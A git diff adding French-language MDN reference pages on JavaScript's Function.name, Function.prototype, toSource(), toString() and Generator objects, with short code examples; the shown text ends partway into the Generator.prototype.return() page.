+<p>Lorsqu'on utilise les propriétés d'accesseur <code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/get">get</a></code> / <code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/set">set</a></code>, "get" ou "set" apparaîtra avant le nom de la fonction.</p>
+
+<pre class="brush: js">var o = {
+  get toto(){},
+  set toto(x){}
+};
+
+var descripteur = Object.getOwnPropertyDescriptor(o, "toto");
+descripteur.get.name; // "get toto"
+descripteur.set.name; // "set toto";</pre>
+
+<h3 id="Noms_des_fonctions_utilisées_dans_les_classes">Noms des fonctions utilisées dans les classes</h3>
+
+<p>On peut utiliser la notation <code>obj.constructor.name</code> pour vérifier la « classe » d'un objet (attention aux avertissements ci-après) :</p>
+
+<pre class="brush: js">function Toto() {}  // Syntaxe ES2015 : class Toto {}
+
+var instanceDeToto = new Toto();
+console.log(instanceDeToto.constructor.name); // affiche "Toto" dans la console
+</pre>
+
+<p><strong>Attention :</strong> l'interpréteur utilisera la propriété native <code>Function.name</code> uniquement si la fonction ne possède pas une propriété en propre intitulée <em>name</em> (cf section <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-setfunctionname">9.2.11 de la spécification ECMAScript2015</a>). Cependant, ES2015 indique que les propriétés définies avec mot-clé <em>static</em> seront des propriétés propres de la fonction constructrice (cf. ECMAScript2015, <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-runtime-semantics-classdefinitionevaluation">14.5.14.21.b</a> + <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-object-initializer-runtime-semantics-propertydefinitionevaluation">12.2.6.9</a>). Ainsi, il n'est plus possible d'obtenir le nom de la classe si celle-ci possède une méthode statique intitulée <code>name()</code> :</p>
+
+<pre class="brush: js">class Toto {
+  constructor() {}
+  static name() {}
+}
+</pre>
+
+<p>Avec <code>static name()</code>, <code>Toto.name</code> ne contient plus le nom de la classe mais une référence à l'objet <code>name()</code>. La définition utilisée ci-avant se comporte de façon semblable à ce fragment de code ES5 :</p>
+
+<pre class="brush: js">function Toto() {}
+Object.defineProperty(Toto, 'name', { writable: true });
+Toto.name = function() {};
+</pre>
+
+<p>Il est donc parfois erroné de penser que <code>Function.name</code> pointe toujours vers le nom de la classe.</p>
+
+<h3 id="Noms_de_fonction_sous_la_forme_de_symboles">Noms de fonction sous la forme de symboles</h3>
+
+<p>Si un symbole ({{jsxref("Symbol")}}) est utilisé comme nom d'une fonction et que celui-ci dispose d'une description, c'est cette dernière qui sera utilisée comme nom de la méthode, entre crochets :</p>
+
+<pre class="brush: js">var sym1 = Symbol("Toto");
+var sym2 = Symbol();
+var o = {
+  [sym1]: function(){},
+  [sym2]: function(){}
+};
+
+o[sym1].name; // "[Toto]"
+o[sym2].name; // ""</pre>
+
+<h2 id="Compresseurs_et_outils_de_minification_JavaScript">Compresseurs et outils de minification JavaScript</h2>
+
+<p>Attention à l'utilisation de <code>Function.name</code> lorsque le code source est transformé par certains outils. En effet, ceux-ci réduisent généralement la taille d'un programme en compressant les espaces et en modifiant parfois les noms de variables. Ainsi, un fragment de code comme :</p>
+
+<pre class="brush: js">function Toto() {};
+var toto = new Toto();
+
+if (Toto.constructor.name === 'Toto') {
+  console.log("'toto' est une instance de 'Toto'");
+} else {
+  console.log('Oups !');
+}
+</pre>
+
+<p>pourrait être compressé en :</p>
+
+<pre class="brush: js">function a() {};
+var b = new a();
+if (b.constructor.name === 'Toto') {
+  console.log("'toto' est une instance de 'Toto'");
+} else {
+  console.log('Oups !');
+}
+</pre>
+
+<p>Dans la version non-compressée, la condition du test est remplie et on affiche <em>'toto' est une instance de 'Toto'</em> dans la console. Mais dans la version compressée, la condition n'est pas vérifiée. Lorsqu'on utilise <code>name</code>, il faut s'assurer que les outils utilisés ne modifient pas le nom des fonctions.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-name', 'name')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-instances-name', 'name')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.name")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/function/prototype/index.html
new file mode 100644
index 0000000000..e809d45d37
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/prototype/index.html
@@ -0,0 +1,98 @@
+---
+title: Function.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Function/prototype
+tags:
+  - Function
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Function.prototype</strong></code> représente le prototype de l'objet {{jsxref("Function")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les objets {{jsxref("Function")}} héritent de <code>Function.prototype</code>. <code>Function.prototype</code> ne peut pas être modifié.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("Function.arguments")}} {{deprecated_inline}}</dt>
+ <dd>Un tableau correspondant aux arguments passés à la fonction. Cette propriété est dépréciée et il est préférable d'utiliser l'objet {{jsxref("Fonctions/arguments", "arguments")}} à la place.</dd>
+ <dt>{{jsxref("Function.arity")}} {{obsolete_inline}}</dt>
+ <dd>Cette propriété était utilisée pour indiquer le nombre d'arguments attendus par la fonction. Cette propriété a été supprimée. La propriété {{jsxref("Function.length", "length")}} doit être utilisée à la place.</dd>
+ <dt>{{jsxref("Function.caller")}} {{non-standard_inline}}</dt>
+ <dd>Indique la fonction qui a appelée la fonction courante.</dd>
+ <dt>{{jsxref("Function.length")}}</dt>
+ <dd>Indique le nombre d'arguments attendus par la fonction.</dd>
+ <dt>{{jsxref("Function.name")}}</dt>
+ <dd>Le nom de la fonction.</dd>
+ <dt>{{jsxref("Function.displayName")}} {{non-standard_inline}}</dt>
+ <dd>Le nom de la fonction à utiliser pour l'affichage.</dd>
+ <dt><code>Function.prototype.constructor</code></dt>
+ <dd>Définit la fonction qui crée le prototype de l'objet. Voir la page {{jsxref("Object.prototype.constructor")}} pour plus de détails.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Function.prototype.apply()")}}</dt>
+ <dd>Cette méthode applique la fonction et pour cette fonction, <code>this</code> sera la valeur passée en argument (l'objet manipulé peut ainsi être différent de l'objet courant). Les arguments peuvent être passés grâce à un objet {{jsxref("Array")}}.</dd>
+ <dt>{{jsxref("Function.prototype.bind()")}}</dt>
+ <dd>Cette méthode crée un nouvelle fonction qui, lorsqu'elle est appelée, appelle cette fonction dans le contexte de la valeur fournie avec une suite d'arguments à utiliser avant ceux fournis à la nouvelle fonction.</dd>
+ <dt>{{jsxref("Function.prototype.call()")}}</dt>
+ <dd>Cette méthode applique la fonction, et pour cette fonction, <code>this</code> sera la valeur passée en premier arguments. Les arguments peuvent être passés tels quels dans les arguments suivants.</dd>
+ <dt>{{jsxref("Function.prototype.isGenerator()")}} {{non-standard_inline}}</dt>
+ <dd>Cette méthode renvoie <code>true</code> si la fonction est un <a href="/fr/docs/Web/JavaScript/Reference/Instructions/function*">générateur</a> ; sinon elle renvoie <code>false</code>.</dd>
+ <dt>{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Cette méthode renvoie une chaîne de caractères représentant le code source de la fonction. Elle surcharge la méthode {{jsxref("Object.prototype.toSource")}}.</dd>
+ <dt>{{jsxref("Function.prototype.toString()")}}</dt>
+ <dd>Cette méthode renvoie une chaîne de caractères représentant le code source de la fonction. Elle surcharge la méthode {{jsxref("Object.prototype.toString")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.5.2', 'Function.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-instances-prototype','Function.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-instances-prototype', 'Function.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/function/tosource/index.html
new file mode 100644
index 0000000000..3eb4b0d6dc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/tosource/index.html
@@ -0,0 +1,67 @@
+---
+title: Function.prototype.toSource()
+slug: Web/JavaScript/Reference/Objets_globaux/Function/toSource
+tags:
+  - Function
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/toSource
+---
+<div>{{JSRef}}{{non-standard_header}}</div>
+
+<p>La méthode <code><strong>toSource()</strong></code> renvoie une chaîne de caractères représentant le code source de l'objet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>function</var>.toSource();
+Function.toSource();
+</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant le code source de l'objet.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toSource()</code> renvoie les valeurs suivantes :</p>
+
+<ul>
+ <li>Pour l'objet natif {{jsxref("Function")}}, <code>toSource()</code> renvoie la chaîne suivante qui indique que le code source n'est pas disponible :
+
+  <pre class="brush: js">function Function() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Pour les fonctions définies dans les scripts, <code>toSource()</code> renverra la chaîne correspondant au code source JavaScript de l'objet.
+  <pre class="brush: js">function coucou() {
+  console.log("Coucou le monde");
+}
+
+coucou.toSource();
+// produira la chaîne de caractères
+// "function coucou() {
+//   console.log(\"Coucou le monde\");
+// }"
+</pre>
+ </li>
+</ul>
+
+<p>De façon générale, cette méthode est utilisée en interne par le moteur JavaScript et n'est pas utilisée dans les scripts tiers. Il est possible d'utiliser cette méthode pour une aide au débogage et pouvoir examiner le contenu d'un objet.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification. Implémentée avec JavaScript 1.3.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.toSource")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/function/tostring/index.html
new file mode 100644
index 0000000000..db667ff0f6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/tostring/index.html
@@ -0,0 +1,98 @@
+---
+title: Function.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/Function/toString
+tags:
+  - Function
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/toString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toString()</strong></code> renvoie une chaîne de caractères représentant le code source de la fonction.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/function-tostring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>function</var>.toString(indentation)</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente le code source de la fonction.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet {{jsxref("Function")}} redéfinit la méthode {{jsxref("Object.prototype.toString", "toString")}} de l'objet {{jsxref("Object")}} ; il n'hérite donc pas de {{jsxref("Object.prototype.toString")}}. Pour les objets {{jsxref("Function")}}, la méthode <code>toString</code> renvoie une chaîne de caractères représentant l'objet sous la forme d'une déclaration de fonction. Pour ce faire, <code>toString</code> décompile la fonction pour renvoyer une chaîne qui contient le mot-clé <code>function</code>, la liste des arguments, les accolades et la source correspondant au corps de la fonction.</p>
+
+<p>Le moteur JavaScript appelle la méthode <code>toString</code> automatiquement lorsqu'un objet {{jsxref("Function")}} doit être représenté textuellement (par exemple lorsqu'une fonction doit être concaténée avec une chaîne de caractères).</p>
+
+<p>La méthode <code>toString()</code> lèvera une exception {{jsxref("TypeError")}} (« Function.prototype.toString called on incompatible object ») si la valeur this n'est pas un objet <code>Function</code>.</p>
+
+<pre class="example-bad brush: js">Function.prototype.toString.call("toto"); // TypeError
+</pre>
+
+<p>Si la méthode <code>toString()</code> est appelée sur des fonctions natives qui ne sont pas définies dans le script, <code>toString()</code> renvoie une chaîne de caractères indiquant le caractère natif :</p>
+
+<pre class="brush: js">Math.abs.toString();
+
+"function abs() {
+    [native code]
+}"</pre>
+
+<p>Si la méthode <code>toString()</code> est appelée sur une fonction créée avec le constructeur <code>Function</code>, <code>toString()</code> renverra le code source d'une fonction intitulée <code>anonymous</code> et utilisera les paramètres et le corps de la fonction fournis.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://tc39.github.io/Function-prototype-toString-revision/#sec-introduction">Function.prototype.toString()</a></code></td>
+   <td>Brouillon</td>
+   <td>Standardise la chaîne de caractères utilisée pour les fonctions natives ainsi que la gestion des fins de ligne.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.tostring', 'Function.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Critères supplémentaires ajoutés sur la représentation de la chaîne.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.tostring', 'Function.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.toString")}}</p>
+
+<h2 id="Notes_spécifiques_à_Firefox">Notes spécifiques à Firefox</h2>
+
+<ul>
+ <li>À partir de Firefox 17.0, <code>Function.prototype.toString()</code> a été implémenté en sauvegardant le code source de la fonction. La méthode utilisant la décompilation a été retirée et le paramètre <code>indentation</code> n'est donc plus nécessaire. Pour plus d'informations, voir {{bug("761723")}}.</li>
+ <li>À partir de Firefox 38 et jusqu'à Firefox 63, <code>Function.prototype.toString()</code> levait une exception pour les {{jsxref("Proxy")}} (cf. {{bug(1100936)}} et {{bug(1440468)}}).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/generator/index.html b/files/fr/web/javascript/reference/objets_globaux/generator/index.html
new file mode 100644
index 0000000000..3557fe4bb2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/generator/index.html
@@ -0,0 +1,135 @@
+---
+title: Generator
+slug: Web/JavaScript/Reference/Objets_globaux/Generator
+tags:
+  - ECMAScript 2015
+  - Generator
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <code><strong>Generator</strong></code> est renvoyé par une {{jsxref("Instructions/function*","fonction génératrice","",1)}}, c'est à la fois <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_%C2%AB_it%C3%A9rateur_%C2%BB">un itérateur</a> et <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_%C2%AB_it%C3%A9rable_%C2%BB">un itérable</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"</pre>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Generator.prototype.next()")}}</dt>
+ <dd>Renvoie une valeur générée par l'expression {{jsxref("Opérateurs/yield", "yield")}}.</dd>
+ <dt>{{jsxref("Generator.prototype.return()")}}</dt>
+ <dd>Renvoie la valeur donnée et termine le générateur.</dd>
+ <dt>{{jsxref("Generator.prototype.throw()")}}</dt>
+ <dd>Lève une exception dans un générateur. Cette opération termine le générateur, sauf si l'exception est interceptée dans le générateur.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Un_itérateur_infini">Un itérateur infini</h3>
+
+<pre class="brush: js">function* idMaker(){
+    var index = 0;
+    while(true)
+        yield index++;
+}
+
+var gen = idMaker(); // "Generator { }"
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...</pre>
+
+<h2 id="Générateurs_historiques">Générateurs historiques</h2>
+
+<p>Firefox (SpiderMonkey) implémente également une version antérieure pour les générateurs avec <a href="/fr/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a>. Pour cette syntaxe, il n'y a pas besoin d'utiliser l'astérisque dans la déclaration de la fonction, il suffit d'utiliser le mot-clé <code>yield</code> dans le corps de la fonction. Les générateurs historiques sont une fonctionnalité dépréciée et seront supprimés à l'avenir ({{bug(1083482)}}), il est fortement déconseillé de les utiliser.</p>
+
+<h3 id="Méthodes_pour_les_générateurs_historiques">Méthodes pour les générateurs historiques</h3>
+
+<dl>
+ <dt><code>Generator.prototype.next() </code>{{non-standard_inline}}</dt>
+ <dd>Renvoie une valeur générée par l'expression {{jsxref("Opérateurs/yield", "yield")}}. Cette méthode correspond à <code>next()</code> pour les générateurs ES2015.</dd>
+ <dt><code>Generator.prototype.close()</code> {{non-standard_inline}}</dt>
+ <dd>Clôture le générateur, tout appel ultérieur à <code>next()</code> renverra une exception {{jsxref("StopIteration")}}. Cela correspond à la méthode <code>return()</code> pour les générateurs ES2015.</dd>
+ <dt><code>Generator.prototype.send()</code> {{non-standard_inline}}</dt>
+ <dd>Utilisée pour envoyer une valeur à un générateur. La valeur est renvoyée avec une expression {{jsxref("Opérateurs/yield", "yield")}} et renvoie une valeur générée par la prochaine expression {{jsxref("Opérateurs/yield", "yield")}}. <code>send(x)</code> correspond à <code>next(x)</code> pour les générateurs ES2015.</dd>
+ <dt><strong><code>Generator.</code></strong><code>prototype.</code><strong><code>throw()</code> </strong> {{non-standard_inline}}</dt>
+ <dd>Lève une exception au sein d'un générateur. Cela correspond à la méthode <code>throw()</code> pour les générateurs ES2015.</dd>
+</dl>
+
+<h3 id="Exemple_utilisant_un_générateur_historique">Exemple utilisant un générateur historique</h3>
+
+<pre class="brush: js">function* fibonacci() {
+  var a = yield 1;
+  yield a * 2;
+}
+
+var it = fibonacci();
+console.log(it);          // "Generator {  }"
+console.log(it.next());   // 1
+console.log(it.send(10)); // 20
+console.log(it.close());  // undefined
+console.log(it.next());   // throws StopIteration (le générateur est clôturé)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Generator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<h3 id="Générateurs_historiques_2">Générateurs historiques</h3>
+
+<ul>
+ <li>{{jsxref("Instructions/Fonction_génératrice_historique", "Fonction génératrice historique", "", 1)}}</li>
+ <li>{{jsxref("Opérateurs/function*", "L'expression d'un générateur historique", "", 1)}}</li>
+ <li>{{jsxref("StopIteration")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Le_protocole_itérateur_historique">Le protocole itérateur historique</a></li>
+</ul>
+
+<h3 id="Générateurs_ES2015">Générateurs ES2015</h3>
+
+<ul>
+ <li>{{jsxref("Fonctions", "Fonctions", "", 1)}}</li>
+ <li>{{jsxref("Instructions/function", "function")}}</li>
+ <li>L'expression {{jsxref("L_opérateur_function", "function")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Instructions/function*", "function*")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/function*", "function*")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Le_protocole_iterator">Le protocole Iterator</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/generator/next/index.html b/files/fr/web/javascript/reference/objets_globaux/generator/next/index.html
new file mode 100644
index 0000000000..059ebdac04
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/generator/next/index.html
@@ -0,0 +1,116 @@
+---
+title: Generator.prototype.next()
+slug: Web/JavaScript/Reference/Objets_globaux/Generator/next
+tags:
+  - ECMAScript 2015
+  - Generator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/next
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>next</strong></code><strong><code>()</code></strong> renvoie un objet possédant deux propriétés <code>done</code> et <code>value</code>. Cette méthode peut également recevoir un paramètre pour envoyer une valeur au générateur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>gen</var>.next(<var>valeur</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à envoyer au générateur. La valeur sera affectée comme résultat d'une expression <code>yield</code>. Autrement dit, lorsque le générateur contient une expression de la forme <code>variable = yield expression</code>, c'est l'argument <code>valeur</code> qui sera affecté à <code>variable</code><em>.</em></dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Object")}} possédant deux propriétés :</p>
+
+<ul>
+ <li><code>done</code> (un booléen)
+
+  <ul>
+   <li>vaut <code>true</code> si l'itérateur a atteint la fin de la série sur laquelle il itère. Dans ce cas, la propriété <code>value</code> définit la valeur de retour pour l'itérateur.</li>
+   <li>vaut <code>false</code> si l'itérateur a pu fournir la prochaine valeur de la série. C'est la valeur par défaut si la propriété <code>done</code> n'est pas définie.</li>
+  </ul>
+ </li>
+ <li><code>value</code> - n'importe quelle valeur JavaScript renvoyée par l'itérateur. Cette propriété peut être absente lorsque <code>done</code> vaut <code>true</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_next()">Utiliser <code>next()</code></h3>
+
+<p>L'exemple suivant illustre comment utiliser un générateur simple et les objets renvoyés par la méthode <code>next</code> :</p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen(); // "Generator { }"
+g.next();      // "Object { value: 1, done: false }"
+g.next();      // "Object { value: 2, done: false }"
+g.next();      // "Object { value: 3, done: false }"
+g.next();      // "Object { value: undefined, done: true }"
+</pre>
+
+<h3 id="Envoyer_des_valeurs_à_un_générateur">Envoyer des valeurs à un générateur</h3>
+
+<p>Ici, <code>next</code> est appelé avec une valeur. On notera ici que le premier appel n'affiche rien car le générateur n'a encore rien généré.</p>
+
+<pre class="brush: js">function* gen() {
+  while(true) {
+    var value = yield null;
+    console.log(value);
+  }
+}
+
+var g = gen();
+g.next(1);
+// "{ value: null, done: false }"
+g.next(2);
+// 2
+// "{ value: null, done: false }"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Generator.next")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/function*","function*")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">Les itérateurs et générateurs</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/generator/return/index.html b/files/fr/web/javascript/reference/objets_globaux/generator/return/index.html
new file mode 100644
index 0000000000..e67c07ad43
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/generator/return/index.html
@@ -0,0 +1,102 @@
+---
+title: Generator.prototype.return()
+slug: Web/JavaScript/Reference/Objets_globaux/Generator/return
+tags:
+  - ECMAScript 2015
+  - Generator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/return
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>return</strong></code><strong><code>()</code></strong> renvoie la valeur fournie et termine le générateur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>gen</var>.return(<var>valeur</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à renvoyer</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur fournie comme argument.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_return()">Utiliser <code>return()</code></h3>
+
+<p>L'exemple suivant illustre une utilisation simple d'un générateur et de la méthode <code>return()</code>.</p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+
+var g = gen();
+
+g.next();         // { value: 1, done: false }
+g.return("toto"); // { value: "toto", done: true }
+g.next();         // { value: undefined, done: true }
+</pre>
+
